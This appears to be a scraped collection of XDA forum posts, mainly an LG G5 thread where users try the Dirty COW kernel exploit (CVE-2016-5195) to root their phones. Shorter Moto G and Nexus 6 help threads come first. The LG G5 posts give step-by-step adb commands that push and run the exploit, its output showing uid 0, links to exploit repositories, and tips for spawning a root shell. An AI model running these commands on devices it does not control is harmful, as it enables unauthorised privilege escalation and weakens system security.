yashsingh1/xdaforums huggingface dataset:
[Moto G 2015 Q&A, Help & Troubleshooting] acejavelin:
No... But you can do a full nandroid backup in TWRP then extract the data you want with Titanium Backup. Again, I do not recommend this method, setup clean is much preferable.

You may want to look here: http://xdaforums.com/2015-moto-g/general/manual-ota-update-process-step-step-t3206049
[Moto G 2015 Q&A, Help & Troubleshooting] fscussel:
Certainly starting again from 0 is unbelievable bad. It's a pain in the ass do it all over again. I will keep my phone without the update or I will find a way to unroot, apply the update and then root again.

What's the best way to do a complete backup with user files and everything, I mean evertyhing, of the phone before I try this procedure? in twrp or cwm?
[Moto G 2015 Q&A, Help & Troubleshooting] acejavelin:
Well... Even if you unroot and fastboot flash stock recovery, it won't undo any changes to the system, most people who attempt this fail and leave their device either unbootable or not updateable. BTW, if you had a custom ROM none of this would be an issue because updates to custom ROMs are designed to work with TWRP and customization. Unfortunately, with how Google has implemented security changes and checks, updates on Lollipop and newer Android cannot be applied to modified devices.

Here is my

opinion

on this, and it is not always liked:

If you have an Android device, especially if it is a modified one, you should ALWAYS be ready and willing to reset it at any time... Use Google Photo or some other cloud based app to maintain backups of pictures and videos, perform regular cloud backups of SMS/MMS messages (SMS Backup & Restore is great for this), perform regular backups in TWRP and with TiBu or UltiBu, and always enable and use Google's backup service and maintain file copies on a microSD card, PC, or other cloud storage... personally I usually do this weekly but that is because I make lots of changes to my device. There are also many tools that can automate this process, such as Tasker.

Additionally, I see little to no advantage to rooting a stock device, a stock rooted device has immediately been limited in regards to updates, with older devices this isn't an issue because updates are done, but on newer ones it is a serious pain. Stock and rooted is a waste of time... if you want to root you might as well go ahead and flash a custom ROM, otherwise leave it pure stock without root. This may seem an odd statement from a guy who has written several rooting tutorials, but it is my view on this.

Again, this is my opinion... if you modify, be ready to lose everything at any time, if you are then this isn't an issue, and if the worst happens, like you drop your phone in the river or smash the screen, or you just get a new device, you always have some source for the information to restore back to a device.

---------- Post added at 09:53 AM ---------- Previous post was at 09:47 AM ----------

TWRP has a backup tool, use it... you can restore to that exact point at any time, it's called a nandroid backup and is a dump of each partition of the phone, restoring it will essentially bring the phone back to that exact moment in time. Remember that the default save point for this is on internal storage, which can/will get wiped, so save to the SD card and/or copy it off the device.
[Moto G 2015 Q&A, Help & Troubleshooting] fscussel:
Let's say I go do it... What's the best steps to do it?

1) nandroid backup

2) restore original bootloader??

3) unroot? how?

4) install the update

5) replace the bootloader

6) root again

??
[Moto G 2015 Q&A, Help & Troubleshooting] acejavelin:
The bootloader is not relevant, /boot is your boot image (kernel) and it is what is modified when you root, /system is not touched by systemless rooting itself but almost everything you do with root access (like Xposed or debloating) modifies it.

Unrooting is done inside the SuperSU app itself, note that this does not undo any changes made to /system with root access, it just removes the su binary, SuperSU app, and undoes the changes to /boot by restoring the stock image.

The best way to do an update on a stock, rooted device that I am aware of is by following the tutorial I linked a few posts earlier.
[Nexus 6 Q&A, Help & Troubleshooting] Scythe:
Since nougat update there is two things bugs me, I was hesitant to ask before but since no one come up with them;

- Some heavy load processes directed to only 3 cores, 4th one seems to be not loaded. Programs I tried and saw this behavior are CPUburn(loading cpu for test purposes) and Camera HDR+ shot processing(Google camera). I thought it might be hardware but other processes like browsing seems to utilizing 4th core so I suppose it might be some kind of energy save feature.(Battery optimization is off by the way). I did not tried developer preview, I hope it wasn't a known issue :)

- Google camera since 4.1 does not let you take HDR+ shots one after another, you need to wait until previous processing finished or nearly finished. I thought it might be encryption stuff but I tried Camera 3.2 and it lets you take 3 HDR+ shots before button gray out. Is everyone has this thing ?
[Nexus 6 Q&A, Help & Troubleshooting] doitright:
Not loaded? Or turned off?

There are two things that could be happening when you are running heavy multi-processing software... 1) excessive heat WILL cause cores to slow down and eventually shut off. (2) keep a core clear for high priority events, like an incoming phone call.
[Nexus 6 Q&A, Help & Troubleshooting] Scythe:
Heat is not an issue, I disabled every thermal throttle besides core is online but probably like you say it is keeping one core clear for other stuff which wasn't the case in MM ?
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Someone please test this. I can't right now (at work, don't have G5) so please update me. It works on my HTC 10 but I do not know if it will work on the G5...

CODE:

adb push arm64-v8a/dirtycow /data/local/tmp

adb push arm64-v8a/run-as /data/local/tmp

adb shell 'chmod 777 /data/local/tmp/run-as'

adb shell 'chmod 777 /data/local/tmp/dirtycow'

adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'

adb shell /system/bin/run-as
[LG G5 Guides, News, & Discussion] YassGo:
I tested those commands but what result are you waiting for ?
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Well, what happened?

Also, try and open an adb shell with "adb shell"

EDIT Goddamnit I forgot the last command. My bad! Please try again.
[LG G5 Guides, News, & Discussion] YassGo:
That's what I've did for the last two commands :

C:\>adb push arm64-v8a/dirtycow /data/local/tmp

[100%] /data/local/tmp/dirtycow

C:\>adb push arm64-v8a/run-as /data/local/tmp

[100%] /data/local/tmp/run-as

C:\>adb shell

shell@h1:/ $ chmod 777 /data/local/tmp/run-as

tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as

/system/bin/sh: /data/local/tmp/dirtycow: can't execute: Permission denied
[LG G5 Guides, News, & Discussion] Honestly Annoying:
You aren't running my commands. Just copy and post exactly what I posted
[LG G5 Guides, News, & Discussion] YassGo:
C:\>adb push arm64-v8a/dirtycow /data/local/tmp

[100%] /data/local/tmp/dirtycow

C:\>adb push arm64-v8a/run-as /data/local/tmp

[100%] /data/local/tmp/run-as

C:\>adb shell 'chmod 777 /data/local/tmp/run-as'

/system/bin/sh: chmod 777 /data/local/tmp/run-as: not found

C:\>adb shell '/data/local/tmp/dirtycow /system/bin/run-as /da

s'

/system/bin/sh: /data/local/tmp/dirtycow /system/bin/run-as /d

as: not found

C:\>adb shell /system/bin/run-as

run-as: Usage:

run-as <package-name> [--user <uid>] <command> [<args>]
[LG G5 Guides, News, & Discussion] Honestly Annoying:
It sounds like there's a problem with your /tmp/ directory. Try running "adb shell 'chmod 777 /data/local/tmp/' "
[LG G5 Guides, News, & Discussion] YassGo:
C:\>adb shell 'chmod 777 /data/local/tmp/'

/system/bin/sh: chmod 777 /data/local/tmp/: not found

I can't even ls local directory....but I see your two files in tmp

255|shell@h1:/data/local $ cd tmp

shell@h1:/data/local/tmp $ ls

dirtycow

run-as

shell@h1:/data/local/tmp $
[LG G5 Guides, News, & Discussion] Honestly Annoying:
What the heck dude?? I've never heard of that error... it seems like you just don't have a tmp directory.
[LG G5 Guides, News, & Discussion] YassGo:
Sorry dude I edited my message.

adb push arm64-v8a/dirtycow /data/local/tmp

adb push arm64-v8a/run-as /data/local/tmp

adb shell 'chmod 777 /data/local/tmp/run-as'

adb shell 'chmod 777 /data/local/tmp/dirtycow'

adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'

--> warning: new file size (5960) and file old size (14192) diffe

size 14192

[*] mmap 0x7f7eb44000

[*] exploit (patch)

[*] currently 0x7f7eb44000=10102464c457f

[*] madvise = 0x7f7eb44000 14192

[*] madvise = 0 1048576

[*] /proc/self/mem 1996488704 1048576

[*] exploited 0x7f7eb44000=10102464c457f

adb shell /system/bin/run-as

--> running as uid 2000

uid 0
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Ah okay see that now. Do this

adb shell

/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as

/system/bin/run-as

Basically, this adds the "run-as" to the /system/bin directory, which is only accessible by root
[LG G5 Guides, News, & Discussion] YassGo:
Okay you forgot chmod 777 on the dirtycow file. Here's what I get now with the last two commands :

adb push arm64-v8a/dirtycow /data/local/tmp

adb push arm64-v8a/run-as /data/local/tmp

adb shell 'chmod 777 /data/local/tmp/run-as'

adb shell 'chmod 777 /data/local/tmp/dirtycow'

adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'

--> warning: new file size (5960) and file old size (14192) diffe

size 14192

[*] mmap 0x7f7eb44000[*] exploit (patch)[*] currently 0x7f7eb44000=10102464c457f[*] madvise = 0x7f7eb44000 14192[*] madvise = 0 1048576[*] /proc/self/mem 1996488704 1048576[*] exploited 0x7f7eb44000=10102464c457f

adb shell /system/bin/run-as

--> running as uid 2000

uid 0
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Oh crap so sorry! Now run

adb shell

whoami

cd /data

ls

Please post results of that!
[LG G5 Guides, News, & Discussion] YassGo:
shell@h1:/data/local/tmp $ whoami

shell

shell@h1:/data/local/tmp $ cd /data

shell@h1:/data $ ls

opendir failed, Permission denied
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Okay, so here's what I can see of this then. This DOES open a root shell, but it closes the shell right after placing "run-as" into /system/bin. If we can keep the shell open then bam root!
[LG G5 Guides, News, & Discussion] Honestly Annoying:
WAIT actually try running

SEE NEXT POST
[LG G5 Guides, News, & Discussion] YassGo:
shell@h1:/data $ cd /data/local/tmp

shell@h1:/data/local/tmp $ run-as cat /init.flo.diag.rc

running as uid 2000

uid 0
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Oops, close that root shell and just do

adb shell

run-as cat /init.flo.diag.rc
[LG G5 Guides, News, & Discussion] YassGo:
C:\>adb shell

shell@h1:/ $ run-as cat /init.flo.diag.rc

running as uid 2000

uid 0
[LG G5 Guides, News, & Discussion] Honestly Annoying:
wtf it should be working.

Here's some to try, tell me if any of these work

adb shell

run-as id

run-as ls -lZ /sbin/

run-as ls -lZ /data/
[LG G5 Guides, News, & Discussion] YassGo:
C:\>adb shell

shell@h1:/ $ run-as id

running as uid 2000

uid 0

shell@h1:/ $ run-as ls -lZ /sbin/

running as uid 2000

uid 0

shell@h1:/ $ run-as ls -lZ /data/

running as uid 2000

uid 0
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Alright, I'm going to keep looking into this... thanks for at least testing!
[LG G5 Guides, News, & Discussion] YassGo:
You're welcome bro. Hope to find something to root and push this g5 limits
[LG G5 Guides, News, & Discussion] arjuna_:
Is there a way to get temp-root and then use FlashFire or something to flash/boot into TWRP?
[LG G5 Guides, News, & Discussion] Hunikel:
Thanks for the hard work :).

I did the same thing as YassGo and had the same results on my H860
[LG G5 Guides, News, & Discussion] karendar:
That won't work because your bootloader being locked will stop you from accessing unsigned code. The only advantage of using DirtyCow is to potentially root the device, not TWRP it.
[LG G5 Guides, News, & Discussion] arjuna_:
Got it thanks for informing me. I'm currently in the process of switching to the T-Mobile V20 which has an unlocked bootloader also but has issues with fastboot again. I wonder if FlashFire would work on that device...
[LG G5 Guides, News, & Discussion] Hamodi:
i just came across this on twitter , didnt try it yet

https://twitter.com/srsroot/status/790950923887583233
[LG G5 Guides, News, & Discussion] Grep_The_Truth:
Can't we just push the "su" binary instead of "run-as" and go about our business as usual?

I'm at work and just found this. I will test when I get home.
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Stop posting about this, it is fake.
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Possibly? I am trying to figure out exactly how the code works.
[LG G5 Guides, News, & Discussion] Sergykm:
Guys, you are fantastic! Please keep working, I hope we are near to root our devices. I just see this topic. If you need some test I can do it.

Thank you!
[LG G5 Guides, News, & Discussion] Hamodi:
Didnt know that .

After i tried it , it is fake indeed

Looking forward for your progress with dirtycow
[LG G5 Guides, News, & Discussion] adds08:
adb push arm64-v8a/dirtycow /data/local/tmp

adb push arm64-v8a/run-as /data/local/tmp

adb shell 'chmod 777 /data/local/tmp/run-as'

adb shell 'chmod 777 /data/local/tmp/dirtycow'

adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'

adb shell /system/bin/run-as

Instead of run-as try pushing a compatible su binary

And modify the ro.secure in default.prop somehow + disable dm-verity

Actually run-as command it's executing in thus test so you have successfully written to the system..

Btw give credits to the dev who wrote this dirtyexploit

Even he is trying to execute the su access which since MM is not so easy to gain due to strict security policies
[LG G5 Guides, News, & Discussion] fenguepay:
Even if dirtyCOW doesn't work, there's always rowhammer which modifies protected rows of dram by writing to the rows around a protected row repeatedly until the values change. I tested drammer on my ls992 and it works so there's always that. And if I understand drityCOW it basically copies a file into the kernel so many times that it overwrites a file that cannot be written to. This exploits overwrites the run-as file and makes it so you can elevate privileges on a limited user. The exploits code that is out there is more of a proof of concept than anything and requires to be modified per device.
[LG G5 Guides, News, & Discussion] user787:
I appreciate the work done here. Hope that they can find something so they got consistent # and 'make the LG Smartphone fun again'.
[LG G5 Guides, News, & Discussion] JF-GINO:
adds08 is right, since its possible to write to the system it might be possible to execute a special 'run-as' script from root which can take advantage of modifying sepolicy or copy su binaries to/from tmp before the kernel panics. We need some kind of script like the moo script i saw demonstrated.

[MENTION=7479791]Honestly Annoying[/MENTION] is it possible that your old engineering kernel with root could be used in conjunction with this to further open the door to modifying the system?
[LG G5 Guides, News, & Discussion] arjuna_:
http://xdaforums.com/v20/development/lg-v20-tmobile-variant-stock-tot-t3484982/page15

If you guys check out that thread you'll see that jcadduono has figured out a way to flash TWRP from the shell that he creates using dirty cow on the unlocked T-Mobile V20. There was some kind of snag that is so far attributed to Nougat related changes. You guys should see if it works for you.
[LG G5 Guides, News, & Discussion] JF-GINO:
This method only works for an 'unlocked' bootloader like the t-moblie versions of both G5 and V20 as far as I can see... but.... Actually wonder if it was even possible to boot into recover after this and flash su, sepolicy fix etc...
[LG G5 Guides, News, & Discussion] ashirviskas:
If we get root to work at least temporarily, can we use that to install systemless xposed? (Without unlocking the bootloader)
[LG G5 Guides, News, & Discussion] Hamodi:
If you gain root access you can have any mode that need root

No need to unlock bootloader
[LG G5 Guides, News, & Discussion] maksover:
Hello, about the test dirtycow on lg g5, tell me the path where you want to put the halyard (dirtycow, run-as)
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Dude, if you're going to PM me twice and quote me in a thread, at least make sure your message makes sense. I don't even know what you are asking...
[LG G5 Guides, News, & Discussion] YassGo:
Hey bro, I'm also following the V20 thread and I just want to know your thoughts, is it the same way to root the G5 ? I mean if it's successful on the V20, is there any chance to be "ported" to the G5 variants ?

Thank you and I'm here to help if you need some more tests ^^
[LG G5 Guides, News, & Discussion] Sergykm:
Of course we have the chance. Just be a little patience and don't disturb dev.

I think if Honestly Annoying will need some help or test, he'll tell us.
[LG G5 Guides, News, & Discussion] cloud1250000:
to what extent can we modify system before triggering dm-verify.

Also, can I recover from dm-verify?

Edit: Ahahaha, I hope you didn't simply compile https://github.com/timwr/CVE-2016-5195, because this doesn't spawn a root shell. It's simply state that the file can spawn one. We need to replace

printf("uid %d\n", getuid()); with the right code.

It should be like this : system(""/bin/sh");

Edit2 : more like the cowexec from here https://github.com/jcadduono/CVE-2016-5195

It will not work because of selinux

Edit3: I have successfully restored my backed up run-as and did a full reboot, device is still fine. Is dm-verity triggered if we leave the exploit file there?

Edit4: Using cowexec, we have root access.. but... the root user is pretty much.. useless.. I think it would be better to check if it's possible to enable debug/disable dm-verity

(no luck editing hosts or trying to apply any form of bind/ln to the hosts file..)

Edit5: We need something like this https://github.com/scumjr/dirtycow-vdso or base our research more on this http://xdaforums.com/general/security/dirty-cow-t3484879/page4
[LG G5 Guides, News, & Discussion] LupineDream:
https://su.chainfire.eu/

adb is an unpriviledged shell on stock ROMs. soon as run-as executes you are dropped back to UID 0.

pseudo-code:

/bin/bash - {
copy all prerequisates to tmp
run background process to repeatedly flush ram (lg security)
shove su and other files with dirtycow, including busybox
run supersu installer as a background process.
wait for its exit code in background loop.
clean tmp
end ram flushing process
reboot device
}

Hope that gives some ideas.
[LG G5 Guides, News, & Discussion] ExtraDan:
Rooting for you guys!

:highfive:
[LG G5 Guides, News, & Discussion] happy_5:
Have Sprint Lg G5 - how can I help with testing?

---------- Post added at 01:29 PM ---------- Previous post was at 12:44 PM ----------

Can you expand on why/how the root user is "useless"? Can you not install or flash certain programs, do you lose root on reboot...?
[LG G5 Guides, News, & Discussion] einhuman197:
Awesome but I've to slow down your hype. You cannot install supersu only kingroot. That's because supersu only has systemless on >lollipop and this will brick. Xposed will work when you install it with Flashfire. So root+xposed will work, but only with special methods.

[MENTION=231896]dev[/MENTION] keep up the good work, we're nearly able to root much phones.
[LG G5 Guides, News, & Discussion] BrunoSlivar:
Hope you will do something good for all of us

sent via LG G5
[LG G5 Guides, News, & Discussion] Sergykm:
Can you install kingroot and xposed now? All I need from root is xposed with modules. I can do all I want with xposed.
[LG G5 Guides, News, & Discussion] cloud1250000:
Because of selinux, the root user is pretty much useless. With dirtycow, we can appear as root, but when we actually try anything (like spawn a root shell) the system prevent us to do so.

Dirtycow is working great on device with selinux set to permissive but not on ours.
[LG G5 Guides, News, & Discussion] happy_5:
Thanks

Many thanks. Now I get it. Needing Selinux permissive makes sense.

Hope somebody comes through with a workaround!
[LG G5 Guides, News, & Discussion] Hamodi:
Guys , you might want to check this out

https://github.com/timwr/CVE-2016-5195/issues/9#issuecomment-256776647
[LG G5 Guides, News, & Discussion] einhuman197:
You can't yet but it should be possible when the time comes.
[LG G5 Guides, News, & Discussion] Sergykm:
This will be a quite good. So now we can only wait and hope[emoji4]
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Even if we get a root shell, there will be no SuperSu or TWRP unless we get an unlocked bootloader. The goal is to get a root shell so we can work on getting an unlocked bootloader through a root shell and/or I can pull the system.img and make a custom system like with the G4. Just letting everyone know so I can stop getting all of these PMs asking "WHEN WILL I HAVE ROOT WHAT'S THE ETA ON SUPERSU GIVE ME ROOT"
[LG G5 Guides, News, & Discussion] Veliion:
Guys for the love of God don't bug the devs, you can all suggest solutions but don't ask for eta's.
[LG G5 Guides, News, & Discussion] happy_5:
Wait, I thought we needed root to run Xposed. So at least we can flash via Flashfire and (certain) Xposed modules will work?
[LG G5 Guides, News, & Discussion] adds08:
U do realize that jist modifying the system img and injecting it with root is not enough due to strict kernel policy.. Plus if system img injection could root i am pretty sure someone would have extracted the image and injected it with root...so thats that..

Also having root will not by any means ease with bootloader unlock...

And abt supersu ..if true rootbis achieved then it will come..

Anyways dirtycow need alot of other exploits in MM bl-locked i guess .. In other phones with <MM and bootlocked it is feasible.
[LG G5 Guides, News, & Discussion] oranget:
No..flashfire will only work on rooted device.
[LG G5 Guides, News, & Discussion] Sergykm:
thanks for explain, but I read one interesting new http://www.xda-developers.com/verizon-pixelpixel-xl-bootloader-unlock-has-been-released/

How they can did bootloader exploit? Maybe they can help us for unlock bootloader for our phone?

I don't know, this just an interesting info for me.

Sorry, for the trouble.
[LG G5 Guides, News, & Discussion] adds08:
Different bootloader ..

And as per my knowing some people involved in that have contributed hugely to LG phones and are now no more interested LG bcuz of some thieves who are wanabe hackers..

Sad..
[LG G5 Guides, News, & Discussion] Honestly Annoying:
Let's give it up for [MENTION=5672995]jcadduono[/MENTION]!!! This works for the LG V20 but in theory should work for all devices if built the correct way. I don't know if this will mess up a non-bootloader unlocked phone so I recommend trying this on a T-Mobile device first...

http://xdaforums.com/v20/development/h918-recowvery-unlock-v20-root-shell-t3490594
[LG G5 Guides, News, & Discussion] adds08:
Honestly annoying...

It is just a root shell for bootloader unlocked device.. Not even supersu is present at the moment.. He is working on twrp for unlocked device..
[LG G5 Guides, News, & Discussion] YassGo:
I've just tried all the Commands on a H860 and we can have a root shell :)

Now we must find out how we can root this phone (even without TWRP) and so we can use Flash Fire...
[MENTION=7479791]Honestly Annoying[/MENTION] : Can someone from the V20 thread can help us ? We seem so close ! :p
[LG G5 Guides, News, & Discussion] Veliion:
Maybe I'm reading this wrong but it gives you instructions on how to unlock the bootloader through ADB
[LG G5 Guides, News, & Discussion] maksover:
lg h860 works